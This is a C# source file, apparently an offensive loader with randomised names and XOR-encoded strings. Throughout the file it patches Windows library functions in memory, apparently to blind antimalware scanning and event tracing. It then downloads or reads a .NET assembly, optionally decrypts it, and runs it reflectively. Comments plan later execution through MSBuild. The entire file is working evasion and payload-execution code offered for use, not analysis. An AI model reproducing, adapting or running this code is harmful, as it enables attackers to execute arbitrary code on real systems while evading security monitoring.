using System; using System.IO; using System.Net; using System.Text; using System.Reflection; using System.Runtime.InteropServices; using System.Linq; using System.Threading; //This if for MSBuild LOL bin stuff later //using Microsoft.Build.Framework; //using Microsoft.Build.Utilities; public class SijillHomochiral{ private static object[] MamiesDeflower = null; [DllImport("kernel32")] private static extern IntPtr LoadLibrary(string MigKoibal); [DllImport("kernel32")] private static extern bool VirtualProtect(IntPtr BrantGalvanise, UIntPtr ScatterplotsVaunted, uint UncompensativeAntecavern, out uint BalsaminaceaeKeratoid); [DllImport("kernel32")] private static extern IntPtr GetProcAddress(IntPtr GaulterElatedly, string OvertenderSeaconny); private static void HechtDecretalist(string ProcessorUnsummoned, string[] ProwlinglyWobbly, bool BaganiBorassusoded = false, string TensiblyUnbookishly = "", int CornucopiaTampans = 0) { LaryngologistPreternatural(); MislaboredPreresponsible(CornucopiaTampans); if (!string.IsNullOrEmpty(string.Join(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YQ=="), "AffiliationsImpersonally")), ProwlinglyWobbly))) { Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("C1k4STsxLV0+ICAtY0BF"), "PreincarnateCzechization")) + ProcessorUnsummoned); Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("CFIzVC4cDgYECwk4HFJJcw=="), "SyntonisingLors")) + string.Join(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YQ=="), "AffiliationsImpersonally")), ProwlinglyWobbly)); } else { Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("C1k4STsxLV0+ICAtY0BF"), "PreincarnateCzechization")) + ProcessorUnsummoned); Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("CFIzVC4cDgYECwk4HFJJcw=="), "SyntonisingLors")) + string.Join(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YQ=="), "AffiliationsImpersonally")), ProwlinglyWobbly)); } MamiesDeflower = new object[] { ProwlinglyWobbly }; if (BaganiBorassusoded && ProcessorUnsummoned.ToLower().StartsWith(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Ox0EGA=="), "SiphacCrematoriums")))) { IdeologyAutocratically(AlbuminoscopeUnbreachable(ProcessorUnsummoned), TensiblyUnbookishly); } else if (!BaganiBorassusoded && ProcessorUnsummoned.ToLower().StartsWith(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Ox0EGA=="), "SiphacCrematoriums")))) { NondeafFragrances(AlbuminoscopeUnbreachable(ProcessorUnsummoned)); } else if (!BaganiBorassusoded && !ProcessorUnsummoned.ToLower().StartsWith(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Ox0EGA=="), "SiphacCrematoriums")))) NondeafFragrances(RedeclarationCarneous(ProcessorUnsummoned, FileMode.Open)); else IdeologyAutocratically(RedeclarationCarneous(ProcessorUnsummoned, FileMode.Open), TensiblyUnbookishly); } private static void LaryngologistPreternatural() { IntPtr JurisprudeUntugged = HarateenQuest(StackhousiaceaeDashedly()); if (JurisprudeUntugged != (IntPtr)0) { Marshal.Copy(ForehillAccusers(), 0, JurisprudeUntugged, ForehillAccusers().Length); Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("GkY4UjoWAg0MAB4kGhQYC0UVIBkGGgwHQS8kICRj"), "AmericanismBoxtree"))); } else { Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("D1M0QSIIFQ0yCB4GUi4sPR1SLyA7JSQq"), "TriarianZaparoan"))); } } private static IntPtr HarateenQuest(IntPtr JurisprudeUntugged) { uint PolyglossaryLacewood = 0; if (VirtualProtect(JurisprudeUntugged, (UIntPtr)ForehillAccusers().Length, 0x40, out PolyglossaryLacewood)) { return JurisprudeUntugged; } else { return (IntPtr)0; } } private static byte[] AlbuminoscopeUnbreachable(string url) { HttpWebRequest RecokeCounterevidence = (HttpWebRequest)WebRequest.Create(url); RecokeCounterevidence.Proxy.Credentials = CredentialCache.DefaultCredentials; RecokeCounterevidence.Method = Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Dis3"), "IncumberingAppointor")); return TrichomonalDevoutness(RecokeCounterevidence.GetResponse()); } private static string DailinessTesticardine(string AutodigestiveAuctary, bool AluminumsLipoclastic) { if (AluminumsLipoclastic) AutodigestiveAuctary = Encoding.UTF8.GetString(Convert.FromBase64String(AutodigestiveAuctary)); if (AutodigestiveAuctary.Trim().ToLower().Equals(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Kw=="), "SturionesVoluntarily")))) Environment.Exit(0); return AutodigestiveAuctary; } private static byte[] ForehillAccusers() { if (!TadpolesStrongbrained()) return Convert.FromBase64String(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("JiMOKDFRIy4iLzV5"), "SemisegmentDroner"))); return Convert.FromBase64String(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("JjMTJDBRIC0="), "SuperedifyAchuete"))); } private static Assembly FuscBuffering(byte[] MyotomiesLandlocked) { return Assembly.Load(MyotomiesLandlocked); } private static bool HysterectomizesLampless(ConsoleKey ShorthandedSkaldship) { if (ShorthandedSkaldship == ConsoleKey.X) Environment.Exit(0); return (ShorthandedSkaldship == ConsoleKey.Y); } private static void PensionedSpeakableness() { Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("FwYTAwBUZA=="), "BurdenDetruncating"))); Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("GRYGFxBWTDJDBXdZOFIyThkBG1RVGCkcWS1VQRwIGg9hUQcbBwITFzYECAckW0crWA0eDh1HfQ8MHAgRGDEIBg4Acjg="), "LegpullingAmericanitis"))); Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("CBVfBl9RSVQIHBUHHDoPEwhJAx8VIEwRDwE1DBcQDBdTHSkICA0SIAgcA0kRGxUzTAACH3QOBgwMF1MEJh4AAxYgBAAXSQQBEWcOAB0WYlVSAQcGHBAiCE8="), "TardiestGlans"))); Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("ER1XAgocV0E8BAchFh0aBB5PHA4VGCAMDh8XTgQPFx0QKQ0aGgJSGwQOE1kvABQbFxdNBxoYFjtZEgYAUjcjPUccIwoIAxUaCAVdVD49CgdUBxdPCgALFSIeHx5FDBRBBxwWaCE8JkUWCg8dHgk5ABUURQUIGF0="), "MizzenmastsHysterology"))); Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("GxFfFQ8QCWpBIRQKDQIRAx4YZxUTFw8JBCQEHltEIA0BBQ8AMwABRRoMBHARDQEMRUMABRgJIhdSCQEHADxBAwdECEMwPiBNZwoURRoMBHADBRsFGxpFGANBKwoTAUA="), "GerendaPaludicella"))); Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("DAZCDxcJFklTHREAAAcPDAgYSR8PIhMCCxELF1MGIQQQSRwOQhkVGhxOMQAIGwgLCwcAchUbSRwJB0kYBg4KNRZPDAwABAEKfEE5HBsVQgsRSQkBPB4AGQAKRREKcgAYBUgAEA4BBAoAJAFPCAocRQcbN0EWAAYAEBBa"), "PronenessRatihabition"))); } private static bool TadpolesStrongbrained() { if (IntPtr.Size == 4) return false; return true; } private static void BreadsStreptotrichosis() { var ErythrophoreKeratophyre = SculptForwarn(); uint UnwisdomsPeakedly; var NonejectionNeurectasy = LoadLibrary(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("OgYFAh9DERgN"), "TransmutatePlethysmography"))); var BienlyPulpits = GetProcAddress(NonejectionNeurectasy, Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("CxUHKhoAARo+CAw2AA=="), "NapoleonizeBellyful"))); if (VirtualProtect(BienlyPulpits, (UIntPtr)ErythrophoreKeratophyre.Length, 0x40, out UnwisdomsPeakedly)) { Marshal.Copy(ErythrophoreKeratophyre, 0, BienlyPulpits, ErythrophoreKeratophyre.Length); Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("H0owTjYRBhExARwWHQMYC08FBxsCKwoICkUhMSV1"), "DamnederTrophotropism"))); } } private static byte[] SculptForwarn() { if (!TadpolesStrongbrained()) return Convert.FromBase64String(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("MQ09LQ=="), "FellowshippedStenosis"))); return Convert.FromBase64String(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("JA5QTQ=="), "SymphysianAbrogations"))); } public static int MislaboredPreresponsible(int TangelosAnticalcimine) { ServicePointManager.SecurityProtocol = (SecurityProtocolType)TangelosAnticalcimine; return TangelosAnticalcimine; } private static void IdeologyAutocratically(byte[] UndermadePleonal, string TensiblyUnbookishly) { UnbeltedClouts(InterrhymingImprime(FuscBuffering(PrecolorCroakiness(UndermadePleonal, TensiblyUnbookishly)))); } private static MethodInfo InterrhymingImprime(Assembly asm) { return asm.EntryPoint; } private static byte[] PrecolorCroakiness(byte[] AutodigestiveAuctary, string ProslaveryOverneutralizing) { //byte[] keyBytes = Encoding.UTF8.GetBytes(ProslaveryOverneutralizing); byte[] FestivalWeaknesses = new byte[AutodigestiveAuctary.Length]; for (int i = 0; i < AutodigestiveAuctary.Length; i++) { FestivalWeaknesses[i] = (byte)(AutodigestiveAuctary[i] ^ Encoding.UTF8.GetBytes(ProslaveryOverneutralizing)[i % Encoding.UTF8.GetBytes(ProslaveryOverneutralizing).Length]); } return FestivalWeaknesses; } private static object UnbeltedClouts(MethodInfo SebumChou) { if (DecryptionOllie(SebumChou) == SebumChou.ReflectedType) return SebumChou.Invoke(null, MamiesDeflower); return MamiesDeflower[0]; } private static byte[] TrichomonalDevoutness(WebResponse BeechiestOscillogram) { MemoryStream ms = new MemoryStream(); BeechiestOscillogram.GetResponseStream().CopyTo(ms); return ms.ToArray(); } private static IntPtr StackhousiaceaeDashedly() { return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("MgIQG08QBRY="), "SocratizeShoppy"))), Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Eg4aGiAMEwcsEigDAgc="), "ScissoringNegus"))); } public static void Main(string[] args) { if (args.Length > 0) { Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Dk80VBc8CSIPFxMbBUFFVBcyGjsBWQxJWSsmFTwKEwoEGw=="), "UnitizeCapernaitish"))); string TensiblyUnbookishly = ""; string MyxinoideiStumer = ""; string[] DuodecillionAtlantad = new string[] { }; bool DipppiestLimnophile = false; bool BaganiBorassus = false; BreadsStreptotrichosis(); int PassifloraceousPhysicomental = (Convert.ToInt32(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YFdB"), "SoullikeExtirpatory"))) * Convert.ToInt32(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("bA=="), "TipulidTzarevitch")))); foreach (string argument in args) { if (argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("bF8DXVE="), "ArakeCulerage")) || argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("aBpeVQ=="), "ExhaustableXiraxara"))) { DipppiestLimnophile = true; Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("E04wTzEEGEgAHgocDDEGDR5BAhcRSSwpFghZREgRBgIDCQwFeEgdCAIMAR0HCWgRBQodSBsGQRgFDEEyBAA="), "HemophthalmiaThymacetin"))); } if (argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("YggbHQ=="), "OptomeninxApartmental")) || argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("bkQWCjY="), "CineDingle"))) { BaganiBorassus = true; int UnwearisomeDenizens = Array.IndexOf(args, argument) + 1; if (UnwearisomeDenizens < args.Length) { string NoonedIchthyopolism = args[UnwearisomeDenizens]; if (DipppiestLimnophile) TensiblyUnbookishly = Encoding.UTF8.GetString(Convert.FromBase64String(NoonedIchthyopolism)); else TensiblyUnbookishly = NoonedIchthyopolism; } Console.WriteLine(Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Gk85VScMDRUxERodBwlHGSs2VQYHDRUxERoRDU4FKAoFBxpJGxQhDwlUAgseYUMfRR5O"), "AdducingHanting")), TensiblyUnbookishly); } if (argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("bhENFx0="), "CalculistFineer")) || argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("Yl8XABoB"), "OrganificProfitted"))) { int UnwearisomeDenizens = Array.IndexOf(args, argument) + 1; if (UnwearisomeDenizens < args.Length) { string PadangAntibromic = args[UnwearisomeDenizens]; if (DipppiestLimnophile) MyxinoideiStumer = Encoding.UTF8.GetString(Convert.FromBase64String(PadangAntibromic)); else MyxinoideiStumer = PadangAntibromic; } } if (argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("aBUGDgE="), "EttironeSneeshes")) || argument.ToLower() == Encoding.UTF8.GetString(PrecolorCroakiness(Convert.FromBase64String("eV8AHBQV"), "TransformismStrook"))) { int RecableInobediently = Array.IndexOf(args, argument) + 1; int SuperindifferenceLaius = args.Length - RecableInobediently; DuodecillionAtlantad = new String[SuperindifferenceLaius]; for (int i = 0; i < SuperindifferenceLaius; i++) { string PadangAntibromicArgs = args[RecableInobediently + i]; if (DipppiestLimnophile) DuodecillionAtlantad[i] = Encoding.UTF8.GetString(Convert.FromBase64String(PadangAntibromicArgs)); else DuodecillionAtlantad[i] = PadangAntibromicArgs; } } } if (string.IsNullOrEmpty(MyxinoideiStumer)) { PensionedSpeakableness(); Environment.Exit(0); } HechtDecretalist(MyxinoideiStumer, DuodecillionAtlantad, BaganiBorassus, TensiblyUnbookishly, PassifloraceousPhysicomental); Environment.Exit(0); } } private static void NondeafFragrances(byte[] UndermadePleonal) { UnbeltedClouts(InterrhymingImprime(FuscBuffering(UndermadePleonal))); } private static byte[] RedeclarationCarneous(string NonliteralityBarretter, FileMode NizamElong) { return File.ReadAllBytes(NonliteralityBarretter); } private static Type DecryptionOllie(MethodInfo SebumChou) { return SebumChou.ReflectedType; } /* //This is for MSBuild later public class ClassExample : Task, ITask { public override bool Execute() { SijillHomochiral.Main(new string[] { }); return true; } } */ }